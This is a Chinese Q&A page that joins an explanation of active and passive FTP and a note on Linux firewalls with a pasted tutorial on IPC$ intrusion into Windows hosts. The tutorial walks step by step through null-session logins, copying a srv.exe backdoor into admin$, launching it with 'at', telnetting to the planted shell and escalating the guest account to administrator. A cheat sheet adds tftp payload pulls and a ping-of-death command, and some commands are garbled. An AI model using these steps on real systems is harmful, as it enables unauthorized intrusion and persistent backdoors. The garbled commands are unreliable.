導航:首頁 > 凈水問答 > ftpls過濾

ftpls過濾

發布時間:2021-11-16 04:15:09

⑴ flashfxp的主動方式與被動方式有什麼區別

主動FTP

主動方式的FTP是這樣的:客戶端從一個任意的非特權埠N(N>1024)連接到FTP伺服器的命令埠,也就是21埠。然後客戶端開始監聽端
口N+1,並發送FTP命令「port N+1」到FTP伺服器。接著伺服器會從它自己的數據埠(20)連接到客戶端指定的數據埠(N+1)。

針對FTP伺服器前面的防火牆來說,必須允許以下通訊才能支持主動方式FTP:

1. 任何埠到FTP伺服器的21埠 (客戶端初始化的連接 S<-C)
2. FTP伺服器的21埠到大於1024的埠(伺服器響應客戶端的控制埠 S->C)
3. FTP伺服器的20埠到大於1024的埠(伺服器端初始化數據連接到客戶端的數據埠 S->C)
4. 大於1024埠到FTP伺服器的20埠(客戶端發送ACK響應到伺服器的數據埠 S<-C)

在第1步中,客戶端的命令埠與FTP伺服器的命令埠建立連接,並發送命令「PORT
1027」。然後在第2步中,FTP伺服器給客戶端的命令埠返回一個\"ACK\"。在第3步中,FTP伺服器發起一個從它自己的數據埠(20)到客
戶端先前指定的數據埠(1027)的連接,最後客戶端在第4步中給伺服器端返回一個\"ACK\"。

主動方式FTP的主要問題實際上在於客戶端。FTP的客戶端並沒有實際建立一個到伺服器數據埠的連接,它只是簡單的告訴伺服器自己監聽的埠號,伺服器
再回來連接客戶端這個指定的埠。對於客戶端的防火牆來說,這是從外部系統建立到內部客戶端的連接,這是通常會被阻塞的。

主動FTP的例子

下面是一個主動FTP會話的實際例子。當然伺服器名、IP地址和用戶名都做了改動。在這個例子中,FTP會話從
testbox1.slacksite.com
(192.168.150.80),一個運行標準的FTP命令行客戶端的Linux工作站,發起到testbox2.slacksite.com
(192.168.150.90),一個運行ProFTPd
1.2.2RC2的Linux工作站。debugging(-d)選項用來在FTP客戶端顯示連接的詳細過程。紅色的文字是
debugging信息,顯示的是發送到伺服器的實際FTP命令和所產生的回應信息。伺服器的輸出信息用黑色字表示,用戶的輸入信息用粗體字表示。

仔細考慮這個對話過程我們會發現一些有趣的事情。我們可以看到當 PORT
命令被提交時,它指定了客戶端(192.168.150.80)上的一個埠而不是伺服器的。當我們用被動FTP時我們會看到相反的現象。我們再來關注
PORT命令的格式。就象你在下面的例子看到的一樣,它是一個由六個被逗號隔開的數字組成的序列。前四個表示IP地址,後兩個組成了用於數據連接的埠
號。用第五個數乘以256再加上第六個數就得到了實際的埠號。下面例子中埠號就是( (14*256) + 178) =
3762。我們可以用netstat來驗證這個埠信息。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PORT 192,168,150,80,14,178
200 PORT command successful.
---> LIST
150 Opening ASCII mode data connection for file list.
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

被動FTP

為了解決伺服器發起到客戶的連接的問題,人們開發了一種不同的FTP連接方式。這就是所謂的被動方式,或者叫做PASV,當客戶端通知伺服器它處於被動模式時才啟用。

在被動方式FTP中,命令連接和數據連接都由客戶端,這樣就可以解決從伺服器到客戶端的數據埠的入方向連接被防火牆過濾掉的問題。當開啟一個
FTP連接時,客戶端打開兩個任意的非特權本地埠(N >
1024和N+1)。第一個埠連接伺服器的21埠,但與主動方式的FTP不同,客戶端不會提交PORT命令並允許伺服器來回連它的數據埠,而是提交
PASV命令。這樣做的結果是伺服器會開啟一個任意的非特權埠(P > 1024),並發送PORT
P命令給客戶端。然後客戶端發起從本地埠N+1到伺服器的埠P的連接用來傳送數據。

對於伺服器端的防火牆來說,必須允許下面的通訊才能支持被動方式的FTP:

1. 從任何埠到伺服器的21埠 (客戶端初始化的連接 S<-C)
2. 伺服器的21埠到任何大於1024的埠 (伺服器響應到客戶端的控制埠的連接 S->C)
3. 從任何埠到伺服器的大於1024埠 (入;客戶端初始化數據連接到伺服器指定的任意埠 S<-C)
4. 伺服器的大於1024埠到遠程的大於1024的埠(出;伺服器發送ACK響應和數據到客戶端的數據埠 S->C)

畫出來的話,被動方式的FTP連接過程大概是下圖的樣子:

在第1步中,客戶端的命令埠與伺服器的命令埠建立連接,並發送命令「PASV」。然後在第2步中,伺服器返回命令\"PORT
2024\",告訴客戶端(伺服器)用哪個埠偵聽數據連接。在第3步中,客戶端初始化一個從自己的數據埠到伺服器端指定的數據埠的數據連接。最後服
務器在第4 步中給客戶端的數據埠返回一個\"ACK\"響應。

被動方式的FTP解決了客戶端的許多問題,但同時給伺服器端帶來了更多的問題。最大的問題是需要允許從任意遠程終端到伺服器高位埠的連接。幸運的是,許多FTP守護程序,包括流行的WU-FTPD允許管理員指定FTP伺服器使用的埠范圍。詳細內容參看附錄1。

第二個問題是客戶端有的支持被動模式,有的不支持被動模式,必須考慮如何能支持這些客戶端,以及為他們提供解決辦法。例如,Solaris提供的FTP命令行工具就不支持被動模式,需要第三方的FTP客戶端,比如ncftp。

隨著WWW的廣泛流行,許多人習慣用web瀏覽器作為FTP客戶端。大多數瀏覽器只在訪問ftp://這樣的URL時才支持被動...??的配置。

被動FTP的例子

下面是一個被動FTP會話的實際例子,只是伺服器名、IP地址和用戶名都做了改動。在這個例子中,FTP會話從
testbox1.slacksite.com
(192.168.150.80),一個運行標準的FTP命令行客戶端的Linux工作站,發起到testbox2.slacksite.com
(192.168.150.90),一個運行ProFTPd
1.2.2RC2的Linux工作站。debugging(-d)選項用來在FTP客戶端顯示連接的詳細過程。紅色的文字是
debugging信息,顯示的是發送到伺服器的實際FTP命令和所產生的回應信息。伺服器的輸出信息用黑色字表示,用戶的輸入信息用粗體字表示。

注意此例中的PORT命令與主動FTP例子的不同。這里,我們看到是伺服器(192.168.150.90)而不是客戶端的一個埠被打開了。可以跟上面的主動FTP例子中的PORT命令格式對比一下。

testbox1: {/home/p-t/slacker/public_html} % ftp -d testbox2
Connected to testbox2.slacksite.com.
220 testbox2.slacksite.com FTP server ready.
Name (testbox2:slacker): slacker
---> USER slacker
331 Password required for slacker.
Password: TmpPass
---> PASS XXXX
230 User slacker logged in.
---> SYST
215 UNIX Type: L8
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
ftp: setsockopt (ignored): Permission denied
---> PASV
227 Entering Passive Mode (192,168,150,90,195,149).
---> LIST
150 Opening ASCII mode data connection for file list
drwx------ 3 slacker users 104 Jul 27 01:45 public_html
226 Transfer complete.
ftp> quit
---> QUIT
221 Goodbye.

總結

下面的圖表會幫助管理員們記住每種FTP方式是怎樣工作的:

主動FTP:
命令連接:客戶端 >1024埠 -> 伺服器 21埠
數據連接:客戶端 >1024埠 <- 伺服器 20埠

被動FTP:
命令連接:客戶端 >1024埠 -> 伺服器 21埠
數據連接:客戶端 >1024埠 -> 伺服器 >1024埠

下面是主動與被動FTP優缺點的簡要總結:

主動FTP對FTP伺服器的管理有利,但對客戶端的管理不利。因為FTP伺服器企圖與客戶端的高位隨機埠建立連接,而這個埠很有可能被客戶端的防火牆
阻塞掉。被動FTP對FTP客戶端的管理有利,但對伺服器端的管理不利。因為客戶端要與伺服器端建立兩個連接,其中一個連到一個高位隨機埠,而這個埠
很有可能被伺服器端的防火牆阻塞掉。

幸運的是,有折衷的辦法。既然FTP伺服器的管理員需要他們的伺服器有最多的客戶連接,那麼必須得支持被動FTP。我們可以通過為FTP伺服器指定一個有
限的埠范圍來減小伺服器高位埠的暴露。這樣,不在這個范圍的任何埠會被伺服器的防火牆阻塞。雖然這沒有消除所有針對伺服器的危險,但它大大減少了危
險。詳細信息參看附錄1。

參考資料

O\'Reilly出版的《組建Internet防火牆》(第二版,Brent Chapman,Elizabeth Zwicky著)是一本很不錯的參考資料。裡面講述了各種Internet協議如何工作,以及有關防火牆的例子。

最權威的FTP參考資料是RFC 959,它是FTP協議的官方規范。RFC的資料可以從許多網站上下載,例如:ftp://nic.merit.e/documents/rfc/rfc0959.txt 。

Active FTP vs. Passive FTP, Appendix 1

⑵ Linux防火牆有什麼作用

一、防火牆的基本模型
基於TCP/IP協議簇的Internet網際互聯完全依賴於網路層以上的協議棧(網路層的IP協議、傳輸控制協議TCP/UDP協議和應用層協議)。考慮到網路防火牆是為了保持網路連通性而設立的安全機制,因此防火牆技術就是通過分析、控制網路以上層協議特徵,實現被保護網路所需安全策略的技術。構建防火牆有三類基本模型:即應用代理網關、電路級網關(Circuit Level Gateway)和網路層防火牆。
二、不應該過濾的包
在開始過濾某些不想要的包之前要注意以下內容:
● ICMP包
ICMP
包可用於檢測TCP/IP失敗的情形。如果阻擋這些包將導致不能得「Host unreachable」或「No route to host」等信息。ICMP包還用於MTU發現,某些TCP實現使用了MTU發現來決定是否進行分段。MTU發現通過發送設置了不進行分段的位的包探測,
當得到的ICMP應答表示需要分段時,再發送較小的包。如果得不到ICMP包(「destination unreachable」類型的包),則本地主機不減少MTU大小,這將導致測試無法停止或網路性能下降。
● 到DNS的TCP連接
如果要攔阻出去的TCP連接,那麼要記住DNS不總是使用UDP。如果從DNS伺服器過來的回答超過512位元組,客戶端將使用TCP連接,並仍使用埠53接收數據。若禁止了TCP連接,DNS大多數情況下會正常工作,但可能會有奇怪的延時故障出現。如果內部網路的DNS查詢總是指向某個固定的外部DNS伺服器,可以允許本地域埠到該伺服器的域埠連接。
● 主動式FTP的TCP連接
FTP有兩種運作方式,即傳統的主動式(active)方式和目前流行的被動式(passive)方式。在主動式FTP模式下,FTP 伺服器發送文件或應答LS命令時,主動和客戶端建立TCP連接。如果這些TCP連接被過濾,則主動方式的FTP將被中斷。如果使用被動方式,則過濾遠地的TCP連接沒有問題。因為數據連接是從客戶端到伺服器進行的(包括雙向的數據)。
三、針對可能的網路攻擊
防火牆的性能是否優良關鍵在於其配置能否防護來自外界的各種網路攻擊。這要求網路管理者能針對可能的網路攻擊特點設定完善的安全策略。以網路常見的「ping of death」攻擊為例,「ping of death」攻擊通過發送一個非法的大ICMP包使接收者的TCP堆棧溢出從而引起混亂。針對這種攻擊可將防火牆配置為阻擋ICMP分段。因為普通的
ICMP包大都不需要到分段的程度,阻擋ICMP分段只攔阻大的「ping」包。 這種防護策略也可用於針對其他協議安全缺陷的網路攻擊。

⑶ dos映射命令 在線等!!!

net share x=c:\
X表示共享的名字
C:表示共享的驅動目標
前提是你拿到那台機器的SHELL。。。。。。覺覺去咯~~~~~~
上www.07188.cn上面有相關文章及其說明``
一 嘮叨一下:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!
二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能,其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數,所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表
三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server,還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞
到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.
四 ipc$與空連接,139,445埠,默認共享的關系
以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)

1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$連接是需要139或445埠來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)

五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445埠(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗了.

六 如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬,當然,這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

七 如何防範ipc$入侵
1禁止空連接進行枚舉(此操作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)

2禁止默認共享
1)察看本地共享資源
運行-cmd-輸入net share
2)刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)
4)修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。

3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用

4安裝防火牆(選中相關設置),或者埠過濾(濾掉139,445等),或者用新版本的優化大師

5設置復雜密碼,防止通過ipc$窮舉密碼

(本教程不定期更新,欲獲得最新版本,請登陸官方網站:菜菜鳥社區原創http://ccbirds.yeah.net)

八 相關命令
1)建立空連接:
net use \\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)

2)建立非空連接:
net use \\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)

3)映射默認共享:
net use z: \\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: \\IP\c$

4)刪除一個ipc$連接
net use \\IP\ipc$ /del

5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)

1. C:\>net use \\127.0.0.1\IPC$ "" /user:"admintitrators"
這是用《流光》掃到的用戶名是administrators,密碼為"空"的IP地址(空口令?哇,運氣好到家了),如果是打算攻擊的話,就可以用這樣的命令來與127.0.0.1建立一個連接,因為密碼為"空",所以第一個引號處就不用輸入,後面一個雙引號里的是用戶名,輸入administrators,命令即可成功完成。

2. C:\> srv.exe \\127.0.0.1\admin$
先復制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復制到什麼地方去了)。

3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2002/3/19 上午 11:00,命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧(這里設置的時間要比主機時間快,不然你怎麼啟動啊,呵呵!)

5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2002/3/19 上午 11:05,那就准備開始下面的命令。

6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧,注意埠是99。Telnet默認的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:\> ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這里的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!

9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,操作就像在DOS上操作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)

為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活

11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼

12. C:\>net localgroup administrators guest /add
將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)
小心使用!
net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

#3 三:

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
